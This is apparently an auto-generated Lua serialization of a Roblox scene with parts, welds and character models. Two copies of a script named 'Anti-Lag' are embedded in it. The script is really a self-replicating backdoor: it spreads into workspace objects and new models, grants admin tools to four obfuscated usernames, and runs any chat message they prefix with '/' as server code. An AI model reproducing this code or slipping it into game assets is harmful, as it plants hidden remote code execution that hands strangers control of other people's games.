Weld754.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld754.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld754.Part0 = Part751
Weld754.Part1 = Part748
Weld754.part1 = Part748
Weld755.Parent = Part751
Weld755.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld755.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld755.Part0 = Part751
Weld755.Part1 = Part748
Weld755.part1 = Part748
Weld756.Parent = Part751
Weld756.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld756.C1 = CFrame.new(1, 0.299926758, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld756.Part0 = Part751
Weld756.Part1 = Part748
Weld756.part1 = Part748
Part757.Name = "Head"
Part757.Parent = Model734
Part757.CFrame = CFrame.new(-16.0410156, 58.5002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part757.Position = Vector3.new(-16.0410156, 58.5002365, -205.051559)
Part757.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part757.Size = Vector3.new(2, 1, 1)
Part757.Anchored = true
Part757.BrickColor = BrickColor.new("Bright yellow")
Part757.TopSurface = Enum.SurfaceType.Smooth
Part757.brickColor = BrickColor.new("Bright yellow")
SpecialMesh758.Parent = Part757
SpecialMesh758.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal759.Name = "face"
Decal759.Parent = Part757
Snap760.Parent = Part757
Snap760.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap760.C1 = CFrame.new(0, 1, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Snap760.Part0 = Part757
Snap760.Part1 = Part748
Snap760.part1 = Part748
Part761.Name = "Right Arm"
Part761.Parent = Model734
Part761.CFrame = CFrame.new(-17.5410156, 57.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part761.Orientation = Vector3.new(-90, 0, 0)
Part761.Position = Vector3.new(-17.5410156, 57.5002365, -205.551559)
Part761.Rotation = Vector3.new(-90, 0, 0)
Part761.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part761.Size = Vector3.new(1, 2, 1)
Part761.Anchored = true
Part761.BottomSurface = Enum.SurfaceType.Smooth
Part761.BrickColor = BrickColor.new("Bright yellow")
Part761.TopSurface = Enum.SurfaceType.Smooth
Part761.brickColor = BrickColor.new("Bright yellow")
Script762.Name = "Anti-Lag"
Script762.Parent = Part761
table.insert(cors,sandbox(Script762,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld763.Parent = Part761
Weld763.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld763.C1 = CFrame.new(-1.40002441, -0.199996948, 1, -0, -1, -0, 0, 0, 1, -1, -0, -0)
Weld763.Part0 = Part761
Weld763.Part1 = Part704
Weld763.part1 = Part704
Model764.Parent = Model368
Part765.Name = "Right Arm"
Part765.Parent = Model764
Part765.CFrame = CFrame.new(-30.0410156, 55.5002365, -210.051559, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part765.Orientation = Vector3.new(-90, -90, 0)
Part765.Position = Vector3.new(-30.0410156, 55.5002365, -210.051559)
Part765.Rotation = Vector3.new(-90, 0, -90)
Part765.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part765.Size = Vector3.new(1, 2, 1)
Part765.Anchored = true
Part765.BottomSurface = Enum.SurfaceType.Smooth
Part765.BrickColor = BrickColor.new("Bright green")
Part765.TopSurface = Enum.SurfaceType.Smooth
Part765.brickColor = BrickColor.new("Bright green")
Weld766.Parent = Part765
Weld766.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld766.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld766.Part0 = Part765
Weld766.Part1 = Part648
Weld766.part1 = Part648
Weld767.Parent = Part765
Weld767.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld767.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld767.Part0 = Part765
Weld767.Part1 = Part659
Weld767.part1 = Part659
Weld768.Parent = Part765
Weld768.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld768.C1 = CFrame.new(0.599975586, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld768.Part0 = Part765
Weld768.Part1 = Part659
Weld768.part1 = Part659
Weld769.Parent = Part765
Weld769.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld769.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld769.Part0 = Part765
Weld769.Part1 = Part648
Weld769.part1 = Part648
Weld770.Parent = Part765
Weld770.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld770.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld770.Part0 = Part765
Weld770.Part1 = Part648
Weld770.part1 = Part648
Weld771.Parent = Part765
Weld771.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld771.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld771.Part0 = Part765
Weld771.Part1 = Part648
Weld771.part1 = Part648
Weld772.Parent = Part765
Weld772.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld772.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld772.Part0 = Part765
Weld772.Part1 = Part659
Weld772.part1 = Part659
Weld773.Parent = Part765
Weld773.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld773.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld773.Part0 = Part765
Weld773.Part1 = Part659
Weld773.part1 = Part659
Weld774.Parent = Part765
Weld774.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld774.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld774.Part0 = Part765
Weld774.Part1 = Part659
Weld774.part1 = Part659
Part775.Name = "Right Arm"
Part775.Parent = Model764
Part775.CFrame = CFrame.new(-30.0410156, 55.5002365, -211.051559, 0, 1, 0, 1, 0, 0, 0, 0, -1)
Part775.Orientation = Vector3.new(0, 180, 90)
Part775.Position = Vector3.new(-30.0410156, 55.5002365, -211.051559)
Part775.Rotation = Vector3.new(-180, 0, -90)
Part775.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part775.Size = Vector3.new(1, 2, 1)
Part775.Anchored = true
Part775.BottomSurface = Enum.SurfaceType.Smooth
Part775.BrickColor = BrickColor.new("Bright green")
Part775.TopSurface = Enum.SurfaceType.Smooth
Part775.brickColor = BrickColor.new("Bright green")
Weld776.Parent = Part775
Weld776.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld776.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0)
Weld776.Part0 = Part775
Weld776.Part1 = Part659
Weld776.part1 = Part659
Weld777.Parent = Part775
Weld777.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld777.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0)
Weld777.Part0 = Part775
Weld777.Part1 = Part659
Weld777.part1 = Part659
Weld778.Parent = Part775
Weld778.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld778.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0)
Weld778.Part0 = Part775
Weld778.Part1 = Part659
Weld778.part1 = Part659
Weld779.Parent = Part775
Weld779.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld779.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0)
Weld779.Part0 = Part775
Weld779.Part1 = Part659
Weld779.part1 = Part659
Weld780.Parent = Part775
Weld780.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld780.C1 = CFrame.new(0.599975586, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0)
Weld780.Part0 = Part775
Weld780.Part1 = Part659
Weld780.part1 = Part659
Part781.Name = "Torso"
Part781.Parent = Model764
Part781.CFrame = CFrame.new(-30.5410156, 57.0002365, -210.551559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part781.Orientation = Vector3.new(0, -90, 0)
Part781.Position = Vector3.new(-30.5410156, 57.0002365, -210.551559)
Part781.Rotation = Vector3.new(0, -90, 0)
Part781.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part781.Size = Vector3.new(2, 2, 1)
Part781.Anchored = true
Part781.BrickColor = BrickColor.new("Bright blue")
Part781.LeftParamA = 0
Part781.LeftParamB = 0
Part781.LeftSurface = Enum.SurfaceType.Weld
Part781.RightParamA = 0
Part781.RightParamB = 0
Part781.RightSurface = Enum.SurfaceType.Weld
Part781.brickColor = BrickColor.new("Bright blue")
Weld782.Parent = Part781
Weld782.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld782.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld782.Part0 = Part781
Weld782.Part1 = Part798
Weld782.part1 = Part798
Weld783.Parent = Part781
Weld783.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld783.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Weld783.Part0 = Part781
Weld783.Part1 = Part802
Weld783.part1 = Part802
Snap784.Parent = Part781
Snap784.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap784.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Snap784.Part0 = Part781
Snap784.Part1 = Part799
Snap784.part1 = Part799
Weld785.Parent = Part781
Weld785.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld785.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld785.Part0 = Part781
Weld785.Part1 = Part659
Weld785.part1 = Part659
Weld786.Parent = Part781
Weld786.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld786.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Weld786.Part0 = Part781
Weld786.Part1 = Part802
Weld786.part1 = Part802
Weld787.Parent = Part781
Weld787.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld787.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Weld787.Part0 = Part781
Weld787.Part1 = Part802
Weld787.part1 = Part802
Weld788.Parent = Part781
Weld788.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld788.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld788.Part0 = Part781
Weld788.Part1 = Part798
Weld788.part1 = Part798
Weld789.Parent = Part781
Weld789.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld789.C1 = CFrame.new(-0.900024414, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld789.Part0 = Part781
Weld789.Part1 = Part659
Weld789.part1 = Part659
Weld790.Parent = Part781
Weld790.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld790.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld790.Part0 = Part781
Weld790.Part1 = Part659
Weld790.part1 = Part659
Weld791.Parent = Part781
Weld791.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld791.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld791.Part0 = Part781
Weld791.Part1 = Part659
Weld791.part1 = Part659
Weld792.Parent = Part781
Weld792.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld792.C1 = CFrame.new(-0.5, -0.5, -0.299926758, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld792.Part0 = Part781
Weld792.Part1 = Part798
Weld792.part1 = Part798
Weld793.Parent = Part781
Weld793.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld793.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld793.Part0 = Part781
Weld793.Part1 = Part659
Weld793.part1 = Part659
Weld794.Parent = Part781
Weld794.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld794.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld794.Part0 = Part781
Weld794.Part1 = Part798
Weld794.part1 = Part798
Weld795.Parent = Part781
Weld795.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld795.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Weld795.Part0 = Part781
Weld795.Part1 = Part802
Weld795.part1 = Part802
Weld796.Parent = Part781
Weld796.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld796.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld796.Part0 = Part781
Weld796.Part1 = Part798
Weld796.part1 = Part798
Weld797.Parent = Part781
Weld797.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld797.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Weld797.Part0 = Part781
Weld797.Part1 = Part802
Weld797.part1 = Part802
Part798.Name = "Right Arm"
Part798.Parent = Model764
Part798.CFrame = CFrame.new(-30.0410156, 57.3001671, -209.051559, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part798.Orientation = Vector3.new(-90, -90, 0)
Part798.Position = Vector3.new(-30.0410156, 57.3001671, -209.051559)
Part798.Rotation = Vector3.new(-90, 0, -90)
Part798.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part798.Size = Vector3.new(1, 2, 1)
Part798.Anchored = true
Part798.BottomSurface = Enum.SurfaceType.Smooth
Part798.BrickColor = BrickColor.new("Bright yellow")
Part798.TopSurface = Enum.SurfaceType.Smooth
Part798.brickColor = BrickColor.new("Bright yellow")
Part799.Name = "Head"
Part799.Parent = Model764
Part799.CFrame = CFrame.new(-30.5410156, 58.5002365, -210.551559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part799.Orientation = Vector3.new(0, -90, 0)
Part799.Position = Vector3.new(-30.5410156, 58.5002365, -210.551559)
Part799.Rotation = Vector3.new(0, -90, 0)
Part799.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part799.Size = Vector3.new(2, 1, 1)
Part799.Anchored = true
Part799.BrickColor = BrickColor.new("Bright yellow")
Part799.TopSurface = Enum.SurfaceType.Smooth
Part799.brickColor = BrickColor.new("Bright yellow")
SpecialMesh800.Parent = Part799
SpecialMesh800.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal801.Name = "face"
Decal801.Parent = Part799
Part802.Name = "Right Arm"
Part802.Parent = Model764
Part802.CFrame = CFrame.new(-30.0410156, 57.5002365, -212.051559, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part802.Orientation = Vector3.new(-90, -90, 0)
Part802.Position = Vector3.new(-30.0410156, 57.5002365, -212.051559)
Part802.Rotation = Vector3.new(-90, 0, -90)
Part802.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part802.Size = Vector3.new(1, 2, 1)
Part802.Anchored = true
Part802.BottomSurface = Enum.SurfaceType.Smooth
Part802.BrickColor = BrickColor.new("Bright yellow")
Part802.TopSurface = Enum.SurfaceType.Smooth
Part802.brickColor = BrickColor.new("Bright yellow")
Script803.Name = "Anti-Lag"
Script803.Parent = Part802
table.insert(cors,sandbox(Script803,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld804.Parent = Part802
Weld804.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld804.C1 = CFrame.new(-1.40002823, -0.199951172, 1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld804.Part0 = Part802
Weld804.Part1 = Part659
Weld804.part1 = Part659
Weld805.Parent = Part802
Weld805.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld805.C1 = CFrame.new(-1.40002441, -0.199951172, 1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld805.Part0 = Part802
Weld805.Part1 = Part659
Weld805.part1 = Part659
Weld806.Parent = Part802
Weld806.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld806.C1 = CFrame.new(-1.40002823, -0.199951172, 1, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld806.Part0 = Part802
Weld806.Part1 = Part659
Weld806.part1 = Part659
Model807.Name = "MrrSandmann"
Model807.Parent = Model319
Model807.PrimaryPart = Part808
Part808.Name = "HumanoidRootPart"
Part808.Parent = Model807
Part808.CFrame = CFrame.new(227.5, 3.00000048, -106, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part808.Orientation = Vector3.new(0, 90, 0)
Part808.Position = Vector3.new(227.5, 3.00000048, -106)
Part808.Rotation = Vector3.new(0, 90, 0)
Part808.Transparency = 1
Part808.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
Part808.Size = Vector3.new(2, 2, 1)
Part808.Anchored = true
Vector3Value809.Name = "OriginalPosition"
Vector3Value809.Parent = mas
Vector3Value809.Value = Vector3.new(-0, -0.649999976, -0)
Vector3Value810.Name = "OriginalSize"
Vector3Value810.Parent = Part808
Vector3Value810.Value = Vector3.new(2, 2, 1)
MeshPart811.Name = "LeftHand"
MeshPart811.Parent = Model807
MeshPart811.CFrame = CFrame.new(227.820389, 2.1500001, -105.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart811.Orientation = Vector3.new(0, 90, 0)
MeshPart811.Position = Vector3.new(227.820389, 2.1500001, -105.033447)
MeshPart811.Rotation = Vector3.new(0, 90, 0)
MeshPart811.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart811.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart811.Size = Vector3.new(0.999999762, 0.299999982, 0.999999881)
MeshPart811.Anchored = true
MeshPart811.BrickColor = BrickColor.new("Cool yellow")
MeshPart811.CanCollide = false
MeshPart811.brickColor = BrickColor.new("Cool yellow")
Motor6D812.Name = "LeftWrist"
Motor6D812.Parent = MeshPart811
Motor6D812.C0 = CFrame.new(0.000478506088, -0.549999952, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D812.C1 = CFrame.new(0.000478863716, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D812.Part0 = MeshPart814
Motor6D812.Part1 = MeshPart811
Motor6D812.part1 = MeshPart811
Vector3Value813.Name = "OriginalSize"
Vector3Value813.Parent = MeshPart811
Vector3Value813.Value = Vector3.new(0.999999762, 0.299999982, 0.999999881)
MeshPart814.Name = "LeftLowerArm"
MeshPart814.Parent = Model807
MeshPart814.CFrame = CFrame.new(227.820389, 2.8499999, -105.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart814.Orientation = Vector3.new(0, 90, 0)
MeshPart814.Position = Vector3.new(227.820389, 2.8499999, -105.033447)
MeshPart814.Rotation = Vector3.new(0, 90, 0)
MeshPart814.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart814.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart814.Size = Vector3.new(0.999999762, 1.20000029, 1)
MeshPart814.Anchored = true
MeshPart814.BrickColor = BrickColor.new("Cool yellow")
MeshPart814.CanCollide = false
MeshPart814.brickColor = BrickColor.new("Cool yellow")
Motor6D815.Name = "LeftElbow"
Motor6D815.Parent = MeshPart814
Motor6D815.C0 = CFrame.new(0.000479102135, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D815.C1 = CFrame.new(0.000478506088, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D815.Part0 = MeshPart816
Motor6D815.Part1 = MeshPart814
Motor6D815.part1 = MeshPart814
MeshPart816.Name = "LeftUpperArm"
MeshPart816.Parent = Model807
MeshPart816.CFrame = CFrame.new(227.820389, 3.29999995, -105.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart816.Orientation = Vector3.new(0, 90, 0)
MeshPart816.Position = Vector3.new(227.820389, 3.29999995, -105.033447)
MeshPart816.Rotation = Vector3.new(0, 90, 0)
MeshPart816.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart816.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart816.Size = Vector3.new(0.999999762, 1.40000033, 0.99999994)
MeshPart816.Anchored = true
MeshPart816.BrickColor = BrickColor.new("Cool yellow")
MeshPart816.CanCollide = false
MeshPart816.brickColor = BrickColor.new("Cool yellow")
Motor6D817.Name = "LeftShoulder"
Motor6D817.Parent = MeshPart816
Motor6D817.C0 = CFrame.new(-1.24989128, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D817.C1 = CFrame.new(0.250109196, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D817.Part0 = MeshPart824
Motor6D817.Part1 = MeshPart816
Motor6D817.part1 = MeshPart816
MeshPart818.Name = "RightHand"
MeshPart818.Parent = Model807
MeshPart818.CFrame = CFrame.new(227.820389, 2.1500001, -108.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart818.Orientation = Vector3.new(0, 90, 0)
MeshPart818.Position = Vector3.new(227.820389, 2.1500001, -108.033447)
MeshPart818.Rotation = Vector3.new(0, 90, 0)
MeshPart818.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart818.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart818.Size = Vector3.new(0.999999881, 0.299999982, 0.999999881)
MeshPart818.Anchored = true
MeshPart818.BrickColor = BrickColor.new("Cool yellow")
MeshPart818.CanCollide = false
MeshPart818.brickColor = BrickColor.new("Cool yellow")
Motor6D819.Name = "RightWrist"
Motor6D819.Parent = MeshPart818
Motor6D819.C0 = CFrame.new(1.1920929e-07, -0.549999952, -6.86244753e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D819.C1 = CFrame.new(3.57627869e-07, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D819.Part0 = MeshPart820
Motor6D819.Part1 = MeshPart818
Motor6D819.part1 = MeshPart818
MeshPart820.Name = "RightLowerArm"
MeshPart820.Parent = Model807
